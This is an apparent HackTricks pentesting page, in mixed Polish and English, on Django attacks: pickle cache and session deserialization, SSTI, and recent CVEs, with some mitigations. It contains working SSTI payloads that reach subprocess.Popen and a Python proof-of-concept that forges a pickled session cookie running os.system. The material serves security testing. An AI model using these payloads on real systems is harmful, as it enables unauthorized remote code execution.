Django

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Manipulacja cache prowadząca do RCE

Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.

Django cache is stored in one of four places: Redis, memory, files, or a database. Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.

Detection

  1. Szukaj dynamicznych wywołań Template() / Engine.from_string() / render_to_string() które zawierają jakiekolwiek nieoczyszczone dane z żądania.
  2. Wyślij ładunek oparty na czasie lub arytmetyczny:
django
{{7*7}}

Jeśli wyrenderowany output zawiera 49, oznacza to, że dane wejściowe są kompilowane przez silnik szablonów.

Sposób eskalacji do RCE

Django blocks direct access to __import__, but the Python object graph is reachable:

django
{{''.__class__.mro()[1].__subclasses__()}}

Znajdź indeks subprocess.Popen (≈400–500 w zależności od kompilacji Pythona) i wykonaj dowolne polecenia:

django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Bardziej bezpieczny uniwersalny gadget to iteracja aż cls.__name__ == 'Popen'.

Ten sam gadget działa dla Debug Toolbar lub funkcji renderowania szablonów Django-CMS, które niewłaściwie obsługują dane wejściowe od użytkownika.


Zobacz także: ReportLab/xhtml2pdf PDF export RCE

Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab w celu eksportu widoków do PDF. Gdy HTML kontrolowany przez użytkownika trafia do generowania PDF, rl_safe_eval może ocenić wyrażenia wewnątrz potrójnych nawiasów [[[ ... ]]], umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloads i sposoby łagodzenia:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Jeśli ustawienie SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' jest włączone (lub używany jest niestandardowy serializer, który deserializuje pickle), Django deszyfruje i deserializuje (unpickles) cookie sesji zanim wywoła jakikolwiek kod widoku. W związku z tym posiadanie ważnego klucza podpisującego (domyślnie projektowy SECRET_KEY) wystarcza do natychmiastowego zdalnego wykonania kodu.

Wymagania exploitu

  • Serwer używa PickleSerializer.
  • Atakujący zna / może odgadnąć settings.SECRET_KEY (leaks via GitHub, .env, strony błędów, itp.).

Proof-of-Concept

python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Wyślij otrzymane cookie, a payload uruchomi się z uprawnieniami procesu WSGI worker.

Mitigacje: Zachowaj domyślny JSONSerializer, rotuj SECRET_KEY i skonfiguruj SESSION_COOKIE_HTTPONLY.


Najnowsze (2023-2025) wysokiego wpływu CVE Django, które pentesterzy powinni sprawdzić

  • CVE-2025-48432Log Injection via unescaped request.path (załatane 4 czerwca 2025). Pozwala atakującym przemycić znaki nowej linii/kody ANSI do plików logów i zatruć dalszą analizę logów. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection w QuerySet.values()/values_list() na JSONField (CVSS 9.8). Spreparuj klucze JSON, aby przerwać cytowanie i wykonać dowolne zapytania SQL. Załatane w 4.2.15 / 5.0.8.

Zawsze ustal dokładną wersję frameworka poprzez stronę błędu X-Frame-Options lub hash /static/admin/css/base.css i przetestuj powyższe, gdy mają zastosowanie.


Referencje

  • Komunikat bezpieczeństwa Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
  • OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
  • 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks